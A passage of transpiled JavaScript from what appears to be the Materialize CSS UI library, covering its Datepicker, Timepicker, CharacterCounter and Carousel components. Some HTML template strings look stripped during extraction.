this._finishSelection.bind(this); this._handleMonthChange = this._handleMonthChange.bind(this); this._closeBound = this.close.bind(this); this.el.addEventListener('click', this._handleInputClickBound); this.el.addEventListener('keydown', this._handleInputKeydownBound); this.el.addEventListener('change', this._handleInputChangeBound); this.calendarEl.addEventListener('click', this._handleCalendarClickBound); this.doneBtn.addEventListener('click', this._finishSelectionBound); this.cancelBtn.addEventListener('click', this._closeBound); if (this.options.showClearBtn) { this._handleClearClickBound = this._handleClearClick.bind(this); this.clearBtn.addEventListener('click', this._handleClearClickBound); } } }, { key: "_setupVariables", value: function _setupVariables() { var _this55 = this; this.$modalEl = $(Datepicker._template); this.modalEl = this.$modalEl[0]; this.calendarEl = this.modalEl.querySelector('.datepicker-calendar'); this.yearTextEl = this.modalEl.querySelector('.year-text'); this.dateTextEl = this.modalEl.querySelector('.date-text'); if (this.options.showClearBtn) { this.clearBtn = this.modalEl.querySelector('.datepicker-clear'); } this.doneBtn = this.modalEl.querySelector('.datepicker-done'); this.cancelBtn = this.modalEl.querySelector('.datepicker-cancel'); this.formats = { d: function () { return _this55.date.getDate(); }, dd: function () { var d = _this55.date.getDate(); return (d < 10 ? '0' : '') + d; }, ddd: function () { return _this55.options.i18n.weekdaysShort[_this55.date.getDay()]; }, dddd: function () { return _this55.options.i18n.weekdays[_this55.date.getDay()]; }, m: function () { return _this55.date.getMonth() + 1; }, mm: function () { var m = _this55.date.getMonth() + 1; return (m < 10 ? '0' : '') + m; }, mmm: function () { return _this55.options.i18n.monthsShort[_this55.date.getMonth()]; }, mmmm: function () { return _this55.options.i18n.months[_this55.date.getMonth()]; }, yy: function () { return ('' + _this55.date.getFullYear()).slice(2); }, yyyy: function () { return _this55.date.getFullYear(); } }; } /** * Remove Event Handlers */ }, { key: "_removeEventHandlers", value: function _removeEventHandlers() { this.el.removeEventListener('click', this._handleInputClickBound); this.el.removeEventListener('keydown', this._handleInputKeydownBound); this.el.removeEventListener('change', this._handleInputChangeBound); this.calendarEl.removeEventListener('click', this._handleCalendarClickBound); } }, { key: "_handleInputClick", value: function _handleInputClick() { this.open(); } }, { key: "_handleInputKeydown", value: function _handleInputKeydown(e) { if (e.which === M.keys.ENTER) { e.preventDefault(); this.open(); } } }, { key: "_handleCalendarClick", value: function _handleCalendarClick(e) { if (!this.isOpen) { return; } var $target = $(e.target); if (!$target.hasClass('is-disabled')) { if ($target.hasClass('datepicker-day-button') && !$target.hasClass('is-empty') && !$target.parent().hasClass('is-disabled')) { this.setDate(new Date(e.target.getAttribute('data-year'), e.target.getAttribute('data-month'), e.target.getAttribute('data-day'))); if (this.options.autoClose) { this._finishSelection(); } } else if ($target.closest('.month-prev').length) { this.prevMonth(); } else if ($target.closest('.month-next').length) { this.nextMonth(); } } } }, { key: "_handleClearClick", value: function _handleClearClick() { this.date = null; this.setInputValue(); this.close(); } }, { key: "_handleMonthChange", value: function _handleMonthChange(e) { this.gotoMonth(e.target.value); } }, { key: "_handleYearChange", value: function _handleYearChange(e) { this.gotoYear(e.target.value); } /** * change view to a specific month (zero-index, e.g. 0: January) */ }, { key: "gotoMonth", value: function gotoMonth(month) { if (!isNaN(month)) { this.calendars[0].month = parseInt(month, 10); this.adjustCalendars(); } } /** * change view to a specific full year (e.g. "2012") */ }, { key: "gotoYear", value: function gotoYear(year) { if (!isNaN(year)) { this.calendars[0].year = parseInt(year, 10); this.adjustCalendars(); } } }, { key: "_handleInputChange", value: function _handleInputChange(e) { var date = void 0; // Prevent change event from being fired when triggered by the plugin if (e.firedBy === this) { return; } if (this.options.parse) { date = this.options.parse(this.el.value, this.options.format); } else { date = new Date(Date.parse(this.el.value)); } if (Datepicker._isDate(date)) { this.setDate(date); } } }, { key: "renderDayName", value: function renderDayName(opts, day, abbr) { day += opts.firstDay; while (day >= 7) { day -= 7; } return abbr ? opts.i18n.weekdaysAbbrev[day] : opts.i18n.weekdays[day]; } /** * Set input value to the selected date and close Datepicker */ }, { key: "_finishSelection", value: function _finishSelection() { this.setInputValue(); this.close(); } /** * Open Datepicker */ }, { key: "open", value: function open() { if (this.isOpen) { return; } this.isOpen = true; if (typeof this.options.onOpen === 'function') { this.options.onOpen.call(this); } this.draw(); this.modal.open(); return this; } /** * Close Datepicker */ }, { key: "close", value: function close() { if (!this.isOpen) { return; } this.isOpen = false; if (typeof this.options.onClose === 'function') { this.options.onClose.call(this); } this.modal.close(); return this; } }], [{ key: "init", value: function init(els, options) { return _get(Datepicker.__proto__ || Object.getPrototypeOf(Datepicker), "init", this).call(this, this, els, options); } }, { key: "_isDate", value: function _isDate(obj) { return (/Date/.test(Object.prototype.toString.call(obj)) && !isNaN(obj.getTime()) ); } }, { key: "_isWeekend", value: function _isWeekend(date) { var day = date.getDay(); return day === 0 || day === 6; } }, { key: "_setToStartOfDay", value: function _setToStartOfDay(date) { if (Datepicker._isDate(date)) date.setHours(0, 0, 0, 0); } }, { key: "_getDaysInMonth", value: function _getDaysInMonth(year, month) { return [31, Datepicker._isLeapYear(year) ? 29 : 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31][month]; } }, { key: "_isLeapYear", value: function _isLeapYear(year) { // solution by Matti Virkkunen: http://stackoverflow.com/a/4881951 return year % 4 === 0 && year % 100 !== 0 || year % 400 === 0; } }, { key: "_compareDates", value: function _compareDates(a, b) { // weak date comparison (use setToStartOfDay(date) to ensure correct result) return a.getTime() === b.getTime(); } }, { key: "_setToStartOfDay", value: function _setToStartOfDay(date) { if (Datepicker._isDate(date)) date.setHours(0, 0, 0, 0); } /** * Get Instance */ }, { key: "getInstance", value: function getInstance(el) { var domElem = !!el.jquery ? el[0] : el; return domElem.M_Datepicker; } }, { key: "defaults", get: function () { return _defaults; } }]); return Datepicker; }(Component); Datepicker._template = [''].join(''); M.Datepicker = Datepicker; if (M.jQueryLoaded) { M.initializeJqueryWrapper(Datepicker, 'datepicker', 'M_Datepicker'); } })(cash); ;(function ($) { 'use strict'; var _defaults = { dialRadius: 135, outerRadius: 105, innerRadius: 70, tickRadius: 20, duration: 350, container: null, defaultTime: 'now', // default time, 'now' or '13:14' e.g. fromNow: 0, // Millisecond offset from the defaultTime showClearBtn: false, // internationalization i18n: { cancel: 'Cancel', clear: 'Clear', done: 'Ok' }, autoClose: false, // auto close when minute is selected twelveHour: true, // change to 12 hour AM/PM clock from 24 hour vibrate: true, // vibrate the device when dragging clock hand // Callbacks onOpenStart: null, onOpenEnd: null, onCloseStart: null, onCloseEnd: null, onSelect: null }; /** * @class * */ var Timepicker = function (_Component16) { _inherits(Timepicker, _Component16); function Timepicker(el, options) { _classCallCheck(this, Timepicker); var _this56 = _possibleConstructorReturn(this, (Timepicker.__proto__ || Object.getPrototypeOf(Timepicker)).call(this, Timepicker, el, options)); _this56.el.M_Timepicker = _this56; _this56.options = $.extend({}, Timepicker.defaults, options); _this56.id = M.guid(); _this56._insertHTMLIntoDOM(); _this56._setupModal(); _this56._setupVariables(); _this56._setupEventHandlers(); _this56._clockSetup(); _this56._pickerSetup(); return _this56; } _createClass(Timepicker, [{ key: "destroy", /** * Teardown component */ value: function destroy() { this._removeEventHandlers(); this.modal.destroy(); $(this.modalEl).remove(); this.el.M_Timepicker = undefined; } /** * Setup Event Handlers */ }, { key: "_setupEventHandlers", value: function _setupEventHandlers() { this._handleInputKeydownBound = this._handleInputKeydown.bind(this); this._handleInputClickBound = this._handleInputClick.bind(this); this._handleClockClickStartBound = this._handleClockClickStart.bind(this); this._handleDocumentClickMoveBound = this._handleDocumentClickMove.bind(this); this._handleDocumentClickEndBound = this._handleDocumentClickEnd.bind(this); this.el.addEventListener('click', this._handleInputClickBound); this.el.addEventListener('keydown', this._handleInputKeydownBound); this.plate.addEventListener('mousedown', this._handleClockClickStartBound); this.plate.addEventListener('touchstart', this._handleClockClickStartBound); $(this.spanHours).on('click', this.showView.bind(this, 'hours')); $(this.spanMinutes).on('click', this.showView.bind(this, 'minutes')); } }, { key: "_removeEventHandlers", value: function _removeEventHandlers() { this.el.removeEventListener('click', this._handleInputClickBound); this.el.removeEventListener('keydown', this._handleInputKeydownBound); } }, { key: "_handleInputClick", value: function _handleInputClick() { this.open(); } }, { key: "_handleInputKeydown", value: function _handleInputKeydown(e) { if (e.which === M.keys.ENTER) { e.preventDefault(); this.open(); } } }, { key: "_handleClockClickStart", value: function _handleClockClickStart(e) { e.preventDefault(); var clockPlateBR = this.plate.getBoundingClientRect(); var offset = { x: clockPlateBR.left, y: clockPlateBR.top }; this.x0 = offset.x + this.options.dialRadius; this.y0 = offset.y + this.options.dialRadius; this.moved = false; var clickPos = Timepicker._Pos(e); this.dx = clickPos.x - this.x0; this.dy = clickPos.y - this.y0; // Set clock hands this.setHand(this.dx, this.dy, false); // Mousemove on document document.addEventListener('mousemove', this._handleDocumentClickMoveBound); document.addEventListener('touchmove', this._handleDocumentClickMoveBound); // Mouseup on document document.addEventListener('mouseup', this._handleDocumentClickEndBound); document.addEventListener('touchend', this._handleDocumentClickEndBound); } }, { key: "_handleDocumentClickMove", value: function _handleDocumentClickMove(e) { e.preventDefault(); var clickPos = Timepicker._Pos(e); var x = clickPos.x - this.x0; var y = clickPos.y - this.y0; this.moved = true; this.setHand(x, y, false, true); } }, { key: "_handleDocumentClickEnd", value: function _handleDocumentClickEnd(e) { var _this57 = this; e.preventDefault(); document.removeEventListener('mouseup', this._handleDocumentClickEndBound); document.removeEventListener('touchend', this._handleDocumentClickEndBound); var clickPos = Timepicker._Pos(e); var x = clickPos.x - this.x0; var y = clickPos.y - this.y0; if (this.moved && x === this.dx && y === this.dy) { this.setHand(x, y); } if (this.currentView === 'hours') { this.showView('minutes', this.options.duration / 2); } else if (this.options.autoClose) { $(this.minutesView).addClass('timepicker-dial-out'); setTimeout(function () { _this57.done(); }, this.options.duration / 2); } if (typeof this.options.onSelect === 'function') { this.options.onSelect.call(this, this.hours, this.minutes); } // Unbind mousemove event document.removeEventListener('mousemove', this._handleDocumentClickMoveBound); document.removeEventListener('touchmove', this._handleDocumentClickMoveBound); } }, { key: "_insertHTMLIntoDOM", value: function _insertHTMLIntoDOM() { this.$modalEl = $(Timepicker._template); this.modalEl = this.$modalEl[0]; this.modalEl.id = 'modal-' + this.id; // Append popover to input by default var containerEl = document.querySelector(this.options.container); if (this.options.container && !!containerEl) { this.$modalEl.appendTo(containerEl); } else { this.$modalEl.insertBefore(this.el); } } }, { key: "_setupModal", value: function _setupModal() { var _this58 = this; this.modal = M.Modal.init(this.modalEl, { onOpenStart: this.options.onOpenStart, onOpenEnd: this.options.onOpenEnd, onCloseStart: this.options.onCloseStart, onCloseEnd: function () { if (typeof _this58.options.onCloseEnd === 'function') { _this58.options.onCloseEnd.call(_this58); } _this58.isOpen = false; } }); } }, { key: "_setupVariables", value: function _setupVariables() { this.currentView = 'hours'; this.vibrate = navigator.vibrate ? 'vibrate' : navigator.webkitVibrate ? 'webkitVibrate' : null; this._canvas = this.modalEl.querySelector('.timepicker-canvas'); this.plate = this.modalEl.querySelector('.timepicker-plate'); this.hoursView = this.modalEl.querySelector('.timepicker-hours'); this.minutesView = this.modalEl.querySelector('.timepicker-minutes'); this.spanHours = this.modalEl.querySelector('.timepicker-span-hours'); this.spanMinutes = this.modalEl.querySelector('.timepicker-span-minutes'); this.spanAmPm = this.modalEl.querySelector('.timepicker-span-am-pm'); this.footer = this.modalEl.querySelector('.timepicker-footer'); this.amOrPm = 'PM'; } }, { key: "_pickerSetup", value: function _pickerSetup() { var $clearBtn = $("").appendTo(this.footer).on('click', this.clear.bind(this)); if (this.options.showClearBtn) { $clearBtn.css({ visibility: '' }); } var confirmationBtnsContainer = $('
'); $('').appendTo(confirmationBtnsContainer).on('click', this.close.bind(this)); $('').appendTo(confirmationBtnsContainer).on('click', this.done.bind(this)); confirmationBtnsContainer.appendTo(this.footer); } }, { key: "_clockSetup", value: function _clockSetup() { if (this.options.twelveHour) { this.$amBtn = $('
AM
'); this.$pmBtn = $('
PM
'); this.$amBtn.on('click', this._handleAmPmClick.bind(this)).appendTo(this.spanAmPm); this.$pmBtn.on('click', this._handleAmPmClick.bind(this)).appendTo(this.spanAmPm); } this._buildHoursView(); this._buildMinutesView(); this._buildSVGClock(); } }, { key: "_buildSVGClock", value: function _buildSVGClock() { // Draw clock hands and others var dialRadius = this.options.dialRadius; var tickRadius = this.options.tickRadius; var diameter = dialRadius * 2; var svg = Timepicker._createSVGEl('svg'); svg.setAttribute('class', 'timepicker-svg'); svg.setAttribute('width', diameter); svg.setAttribute('height', diameter); var g = Timepicker._createSVGEl('g'); g.setAttribute('transform', 'translate(' + dialRadius + ',' + dialRadius + ')'); var bearing = Timepicker._createSVGEl('circle'); bearing.setAttribute('class', 'timepicker-canvas-bearing'); bearing.setAttribute('cx', 0); bearing.setAttribute('cy', 0); bearing.setAttribute('r', 4); var hand = Timepicker._createSVGEl('line'); hand.setAttribute('x1', 0); hand.setAttribute('y1', 0); var bg = Timepicker._createSVGEl('circle'); bg.setAttribute('class', 'timepicker-canvas-bg'); bg.setAttribute('r', tickRadius); g.appendChild(hand); g.appendChild(bg); g.appendChild(bearing); svg.appendChild(g); this._canvas.appendChild(svg); this.hand = hand; this.bg = bg; this.bearing = bearing; this.g = g; } }, { key: "_buildHoursView", value: function _buildHoursView() { var $tick = $('
'); // Hours view if (this.options.twelveHour) { for (var i = 1; i < 13; i += 1) { var tick = $tick.clone(); var radian = i / 6 * Math.PI; var radius = this.options.outerRadius; tick.css({ left: this.options.dialRadius + Math.sin(radian) * radius - this.options.tickRadius + 'px', top: this.options.dialRadius - Math.cos(radian) * radius - this.options.tickRadius + 'px' }); tick.html(i === 0 ? '00' : i); this.hoursView.appendChild(tick[0]); // tick.on(mousedownEvent, mousedown); } } else { for (var _i2 = 0; _i2 < 24; _i2 += 1) { var _tick = $tick.clone(); var _radian = _i2 / 6 * Math.PI; var inner = _i2 > 0 && _i2 < 13; var _radius = inner ? this.options.innerRadius : this.options.outerRadius; _tick.css({ left: this.options.dialRadius + Math.sin(_radian) * _radius - this.options.tickRadius + 'px', top: this.options.dialRadius - Math.cos(_radian) * _radius - this.options.tickRadius + 'px' }); _tick.html(_i2 === 0 ? '00' : _i2); this.hoursView.appendChild(_tick[0]); // tick.on(mousedownEvent, mousedown); } } } }, { key: "_buildMinutesView", value: function _buildMinutesView() { var $tick = $('
'); // Minutes view for (var i = 0; i < 60; i += 5) { var tick = $tick.clone(); var radian = i / 30 * Math.PI; tick.css({ left: this.options.dialRadius + Math.sin(radian) * this.options.outerRadius - this.options.tickRadius + 'px', top: this.options.dialRadius - Math.cos(radian) * this.options.outerRadius - this.options.tickRadius + 'px' }); tick.html(Timepicker._addLeadingZero(i)); this.minutesView.appendChild(tick[0]); } } }, { key: "_handleAmPmClick", value: function _handleAmPmClick(e) { var $btnClicked = $(e.target); this.amOrPm = $btnClicked.hasClass('am-btn') ? 'AM' : 'PM'; this._updateAmPmView(); } }, { key: "_updateAmPmView", value: function _updateAmPmView() { if (this.options.twelveHour) { this.$amBtn.toggleClass('text-primary', this.amOrPm === 'AM'); this.$pmBtn.toggleClass('text-primary', this.amOrPm === 'PM'); } } }, { key: "_updateTimeFromInput", value: function _updateTimeFromInput() { // Get the time var value = ((this.el.value || this.options.defaultTime || '') + '').split(':'); if (this.options.twelveHour && !(typeof value[1] === 'undefined')) { if (value[1].toUpperCase().indexOf('AM') > 0) { this.amOrPm = 'AM'; } else { this.amOrPm = 'PM'; } value[1] = value[1].replace('AM', '').replace('PM', ''); } if (value[0] === 'now') { var now = new Date(+new Date() + this.options.fromNow); value = [now.getHours(), now.getMinutes()]; if (this.options.twelveHour) { this.amOrPm = value[0] >= 12 && value[0] < 24 ? 'PM' : 'AM'; } } this.hours = +value[0] || 0; this.minutes = +value[1] || 0; this.spanHours.innerHTML = this.hours; this.spanMinutes.innerHTML = Timepicker._addLeadingZero(this.minutes); this._updateAmPmView(); } }, { key: "showView", value: function showView(view, delay) { if (view === 'minutes' && $(this.hoursView).css('visibility') === 'visible') { // raiseCallback(this.options.beforeHourSelect); } var isHours = view === 'hours', nextView = isHours ? this.hoursView : this.minutesView, hideView = isHours ? this.minutesView : this.hoursView; this.currentView = view; $(this.spanHours).toggleClass('text-primary', isHours); $(this.spanMinutes).toggleClass('text-primary', !isHours); // Transition view hideView.classList.add('timepicker-dial-out'); $(nextView).css('visibility', 'visible').removeClass('timepicker-dial-out'); // Reset clock hand this.resetClock(delay); // After transitions ended clearTimeout(this.toggleViewTimer); this.toggleViewTimer = setTimeout(function () { $(hideView).css('visibility', 'hidden'); }, this.options.duration); } }, { key: "resetClock", value: function resetClock(delay) { var view = this.currentView, value = this[view], isHours = view === 'hours', unit = Math.PI / (isHours ? 6 : 30), radian = value * unit, radius = isHours && value > 0 && value < 13 ? this.options.innerRadius : this.options.outerRadius, x = Math.sin(radian) * radius, y = -Math.cos(radian) * radius, self = this; if (delay) { $(this.canvas).addClass('timepicker-canvas-out'); setTimeout(function () { $(self.canvas).removeClass('timepicker-canvas-out'); self.setHand(x, y); }, delay); } else { this.setHand(x, y); } } }, { key: "setHand", value: function setHand(x, y, roundBy5) { var _this59 = this; var radian = Math.atan2(x, -y), isHours = this.currentView === 'hours', unit = Math.PI / (isHours || roundBy5 ? 6 : 30), z = Math.sqrt(x * x + y * y), inner = isHours && z < (this.options.outerRadius + this.options.innerRadius) / 2, radius = inner ? this.options.innerRadius : this.options.outerRadius; if (this.options.twelveHour) { radius = this.options.outerRadius; } // Radian should in range [0, 2PI] if (radian < 0) { radian = Math.PI * 2 + radian; } // Get the round value var value = Math.round(radian / unit); // Get the round radian radian = value * unit; // Correct the hours or minutes if (this.options.twelveHour) { if (isHours) { if (value === 0) value = 12; } else { if (roundBy5) value *= 5; if (value === 60) value = 0; } } else { if (isHours) { if (value === 12) { value = 0; } value = inner ? value === 0 ? 12 : value : value === 0 ? 0 : value + 12; } else { if (roundBy5) { value *= 5; } if (value === 60) { value = 0; } } } // Once hours or minutes changed, vibrate the device if (this[this.currentView] !== value) { if (this.vibrate && this.options.vibrate) { // Do not vibrate too frequently if (!this.vibrateTimer) { navigator[this.vibrate](10); this.vibrateTimer = setTimeout(function () { _this59.vibrateTimer = null; }, 100); } } } this[this.currentView] = value; if (isHours) { this['spanHours'].innerHTML = value; } else { this['spanMinutes'].innerHTML = Timepicker._addLeadingZero(value); } // Set clock hand and others' position var cx1 = Math.sin(radian) * (radius - this.options.tickRadius), cy1 = -Math.cos(radian) * (radius - this.options.tickRadius), cx2 = Math.sin(radian) * radius, cy2 = -Math.cos(radian) * radius; this.hand.setAttribute('x2', cx1); this.hand.setAttribute('y2', cy1); this.bg.setAttribute('cx', cx2); this.bg.setAttribute('cy', cy2); } }, { key: "open", value: function open() { if (this.isOpen) { return; } this.isOpen = true; this._updateTimeFromInput(); this.showView('hours'); this.modal.open(); } }, { key: "close", value: function close() { if (!this.isOpen) { return; } this.isOpen = false; this.modal.close(); } /** * Finish timepicker selection. */ }, { key: "done", value: function done(e, clearValue) { // Set input value var last = this.el.value; var value = clearValue ? '' : Timepicker._addLeadingZero(this.hours) + ':' + Timepicker._addLeadingZero(this.minutes); this.time = value; if (!clearValue && this.options.twelveHour) { value = value + " " + this.amOrPm; } this.el.value = value; // Trigger change event if (value !== last) { this.$el.trigger('change'); } this.close(); this.el.focus(); } }, { key: "clear", value: function clear() { this.done(null, true); } }], [{ key: "init", value: function init(els, options) { return _get(Timepicker.__proto__ || Object.getPrototypeOf(Timepicker), "init", this).call(this, this, els, options); } }, { key: "_addLeadingZero", value: function _addLeadingZero(num) { return (num < 10 ? '0' : '') + num; } }, { key: "_createSVGEl", value: function _createSVGEl(name) { var svgNS = 'http://www.w3.org/2000/svg'; return document.createElementNS(svgNS, name); } /** * @typedef {Object} Point * @property {number} x The X Coordinate * @property {number} y The Y Coordinate */ /** * Get x position of mouse or touch event * @param {Event} e * @return {Point} x and y location */ }, { key: "_Pos", value: function _Pos(e) { if (e.targetTouches && e.targetTouches.length >= 1) { return { x: e.targetTouches[0].clientX, y: e.targetTouches[0].clientY }; } // mouse event return { x: e.clientX, y: e.clientY }; } /** * Get Instance */ }, { key: "getInstance", value: function getInstance(el) { var domElem = !!el.jquery ? el[0] : el; return domElem.M_Timepicker; } }, { key: "defaults", get: function () { return _defaults; } }]); return Timepicker; }(Component); Timepicker._template = [''].join(''); M.Timepicker = Timepicker; if (M.jQueryLoaded) { M.initializeJqueryWrapper(Timepicker, 'timepicker', 'M_Timepicker'); } })(cash); ;(function ($) { 'use strict'; var _defaults = {}; /** * @class * */ var CharacterCounter = function (_Component17) { _inherits(CharacterCounter, _Component17); /** * Construct CharacterCounter instance * @constructor * @param {Element} el * @param {Object} options */ function CharacterCounter(el, options) { _classCallCheck(this, CharacterCounter); var _this60 = _possibleConstructorReturn(this, (CharacterCounter.__proto__ || Object.getPrototypeOf(CharacterCounter)).call(this, CharacterCounter, el, options)); _this60.el.M_CharacterCounter = _this60; /** * Options for the character counter */ _this60.options = $.extend({}, CharacterCounter.defaults, options); _this60.isInvalid = false; _this60.isValidLength = false; _this60._setupCounter(); _this60._setupEventHandlers(); return _this60; } _createClass(CharacterCounter, [{ key: "destroy", /** * Teardown component */ value: function destroy() { this._removeEventHandlers(); this.el.CharacterCounter = undefined; this._removeCounter(); } /** * Setup Event Handlers */ }, { key: "_setupEventHandlers", value: function _setupEventHandlers() { this._handleUpdateCounterBound = this.updateCounter.bind(this); this.el.addEventListener('focus', this._handleUpdateCounterBound, true); this.el.addEventListener('input', this._handleUpdateCounterBound, true); } /** * Remove Event Handlers */ }, { key: "_removeEventHandlers", value: function _removeEventHandlers() { this.el.removeEventListener('focus', this._handleUpdateCounterBound, true); this.el.removeEventListener('input', this._handleUpdateCounterBound, true); } /** * Setup counter element */ }, { key: "_setupCounter", value: function _setupCounter() { this.counterEl = document.createElement('span'); $(this.counterEl).addClass('character-counter').css({ float: 'right', 'font-size': '12px', height: 1 }); this.$el.parent().append(this.counterEl); } /** * Remove counter element */ }, { key: "_removeCounter", value: function _removeCounter() { $(this.counterEl).remove(); } /** * Update counter */ }, { key: "updateCounter", value: function updateCounter() { var maxLength = +this.$el.attr('data-length'), actualLength = this.el.value.length; this.isValidLength = actualLength <= maxLength; var counterString = actualLength; if (maxLength) { counterString += '/' + maxLength; this._validateInput(); } $(this.counterEl).html(counterString); } /** * Add validation classes */ }, { key: "_validateInput", value: function _validateInput() { if (this.isValidLength && this.isInvalid) { this.isInvalid = false; this.$el.removeClass('invalid'); } else if (!this.isValidLength && !this.isInvalid) { this.isInvalid = true; this.$el.removeClass('valid'); this.$el.addClass('invalid'); } } }], [{ key: "init", value: function init(els, options) { return _get(CharacterCounter.__proto__ || Object.getPrototypeOf(CharacterCounter), "init", this).call(this, this, els, options); } /** * Get Instance */ }, { key: "getInstance", value: function getInstance(el) { var domElem = !!el.jquery ? el[0] : el; return domElem.M_CharacterCounter; } }, { key: "defaults", get: function () { return _defaults; } }]); return CharacterCounter; }(Component); M.CharacterCounter = CharacterCounter; if (M.jQueryLoaded) { M.initializeJqueryWrapper(CharacterCounter, 'characterCounter', 'M_CharacterCounter'); } })(cash); ;(function ($) { 'use strict'; var _defaults = { duration: 200, // ms dist: -100, // zoom scale TODO: make this more intuitive as an option shift: 0, // spacing for center image padding: 0, // Padding between non center items numVisible: 5, // Number of visible items in carousel fullWidth: false, // Change to full width styles indicators: false, // Toggle indicators noWrap: false, // Don't wrap around and cycle through items. onCycleTo: null // Callback for when a new slide is cycled to. }; /** * @class * */ var Carousel = function (_Component18) { _inherits(Carousel, _Component18); /** * Construct Carousel instance * @constructor * @param {Element} el * @param {Object} options */ function Carousel(el, options) { _classCallCheck(this, Carousel); var _this61 = _possibleConstructorReturn(this, (Carousel.__proto__ || Object.getPrototypeOf(Carousel)).call(this, Carousel, el, options)); _this61.el.M_Carousel = _this61; /** * Options for the carousel * @member Carousel#options * @prop {Number} duration * @prop {Number} dist * @prop {Number} shift * @prop {Number} padding * @prop {Number} numVisible * @prop {Boolean} fullWidth * @prop {Boolean} indicators * @prop {Boolean} noWrap * @prop {Function} onCycleTo */ _this61.options = $.extend({}, Carousel.defaults, options); // Setup _this61.hasMultipleSlides = _this61.$el.find('.carousel-item').length > 1; _this61.showIndicators = _this61.options.indicators && _this61.hasMultipleSlides; _this61.noWrap = _this61.options.noWrap || !_this61.hasMultipleSlides; _this61.pressed = false; _this61.dragged = false; _this61.offset = _this61.target = 0; _this61.images = []; _this61.itemWidth = _this61.$el.find('.carousel-item').first().innerWidth(); _this61.itemHeight = _this61.$el.find('.carousel-item').first().innerHeight(); _this61.dim = _this61.itemWidth * 2 + _this61.options.padding || 1; // Make sure dim is non zero for divisions. _this61._autoScrollBound = _this61._autoScroll.bind(_this61); _this61._trackBound = _this61._track.bind(_this61); // Full Width carousel setup if (_this61.options.fullWidth) { _this61.options.dist = 0; _this61._setCarouselHeight(); // Offset fixed items when indicators. if (_this61.showIndicators) { _this61.$el.find('.carousel-fixed-item').addClass('with-indicators'); } } // Iterate through slides _this61.$indicators = $('
    '); _this61.$el.find('.carousel-item').each(function (el, i) { _this61.images.push(el); if (_this61.showIndicators) { var $indicator = $('
  • '); // Add active to first by default. if (i === 0) { $indicator[0].classList.add('active'); } _this61.$indicators.append($indicator); } }); if (_this61.showIndicators) { _this61.$el.append(_this61.$indicators); } _this61.count = _this61.images.length; // Cap numVisible at count _this61.options.numVisible = Math.min(_this61.count, _this61.options.numVisible); // Setup cross browser string _this61.xform = 'transform'; ['webkit', 'Moz', 'O', 'ms'].every(function (prefix) { var e = prefix + 'Transform'; if (typeof document.body.style[e] !== 'undefined') { _this61.xform = e; return false; } return true; }); _this61._setupEventHandlers(); _this61._scroll(_this61.offset); return _this61; } _createClass(Carousel, [{ key: "destroy", /** * Teardown component */ value: function destroy() { this._removeEventHandlers(); this.el.M_Carousel = undefined; } /** * Setup Event Handlers */ }, { key: "_setupEventHandlers", value: function _setupEventHandlers() { var _this62 = this; this._handleCarouselTapBound = this._handleCarouselTap.bind(this); this._handleCarouselDragBound = this._handleCarouselDrag.bind(this); this._handleCarouselReleaseBound = this._handleCarouselRelease.bind(this); this._handleCarouselClickBound = this._handleCarouselClick.bind(this); if (typeof window.ontouchstart !== 'undefined') { this.el.addEventListener('touchstart', this._handleCarouselTapBound); this.el.addEventListener('touchmove', this._handleCarouselDragBound); this.el.addEventListener('touchend', this._handleCarouselReleaseBound); } this.el.addEventListener('mousedown', this._handleCarouselTapBound); this.el.addEventListener('mousemove', this._handleCarouselDragBound); this.el.addEventListener('mouseup', this._handleCarouselReleaseBound); this.el.addEventListener('mouseleave', this._handleCarouselReleaseBound); this.el.addEventListener('click', this._handleCarouselClickBound); if (this.showIndicators && this.$indicators) { this._handleIndicatorClickBound = this._handleIndicatorClick.bind(this); this.$indicators.find('.indicator-item').each(function (el, i) { el.addEventListener('click', _this62._handleIndicatorClickBound); }); } // Resize var throttledResize = M.throttle(this._handleResize, 200); this._handleThrottledResizeBound = throttledResize.bind(this); window.addEventListener('resize', this._handleThrottledResizeBound); } /** * Remove Event Handlers */ }, { key: "_removeEventHandlers", value: function _removeEventHandlers() { var _this63 = this; if (typeof window.ontouchstart !== 'undefined') { this.el.removeEventListener('touchstart', this._handleCarouselTapBound); this.el.removeEventListener('touchmove', this._handleCarouselDragBound); this.el.removeEventListener('touchend', this._handleCarouselReleaseBound); } this.el.removeEventListener('mousedown', this._handleCarouselTapBound); this.el.removeEventListener('mousemove', this._handleCarouselDragBound); this.el.removeEventListener('mouseup', this._handleCarouselReleaseBound); this.el.removeEventListener('mouseleave', this._handleCarouselReleaseBound); this.el.removeEventListener('click', this._handleCarouselClickBound); if (this.showIndicators && this.$indicators) { this.$indicators.find('.indicator-item').each(function (el, i) { el.removeEventListener('click', _this63._handleIndicatorClickBound); }); } window.removeEventListener('resize', this._handleThrottledResizeBound); } /** * Handle Carousel Tap * @param {Event} e */ }, { key: "_handleCarouselTap", value: function _handleCarouselTap(e) { // Fixes firefox draggable image bug if (e.type === 'mousedown' && $(e.target).is('img')) { e.preventDefault(); } this.pressed = true; this.dragged = false; this.verticalDragged = false; this.reference = this._xpos(e); this.referenceY = this._ypos(e); this.velocity = this.amplitude = 0; this.frame = this.offset; this.timestamp = Date.now(); clearInterval(this.ticker); this.ticker = setInterval(this._trackBound, 100); } /** * Handle Carousel Drag * @param {Event} e */ }, { key: "_handleCarouselDrag", value: function _handleCarouselDrag(e) { var x = void 0, y = void 0, delta = void 0, deltaY = void 0; if (this.pressed) { x = this._xpos(e); y = this._ypos(e); delta = this.reference - x; deltaY = Math.abs(this.referenceY - y); if (deltaY < 30 && !this.verticalDragged) { // If vertical scrolling don't allow dragging. if (delta > 2 || delta < -2) { this.dragged = true; this.reference = x; this._scroll(this.offset + delta); } } else if (this.dragged) { // If dragging don't allow vertical scroll. e.preventDefault(); e.stopPropagation(); return false; } else { // Vertical scrolling. this.verticalDragged = true; } } if (this.dragged) { // If dragging don't allow vertical scroll. e.preventDefault(); e.stopPropagation(); return false; } } /** * Handle Carousel Release * @param {Event} e */ }, { key: "_handleCarouselRelease", value: function _handleCarouselRelease(e) { if (this.pressed) { this.pressed = false; } else { return; } clearInterval(this.ticker); this.target = this.offset; if (this.velocity > 10 || this.velocity < -10) { this.amplitude = 0.9 * this.velocity; this.target = this.offset + this.amplitude; } this.target = Math.round(this.target / this.dim) * this.dim; // No wrap of items. if (this.noWrap) { if (this.target >= this.dim * (this.count - 1)) { this.target = this.dim * (this.count - 1); } else if (this.target < 0) { this.target = 0; } } this.amplitude = this.target - this.offset; this.timestamp = Date.now(); requestAnimationFrame(this._autoScrollBound); if (this.dragged) { e.preventDefault(); e.stopPropagation(); } return false; } /** * 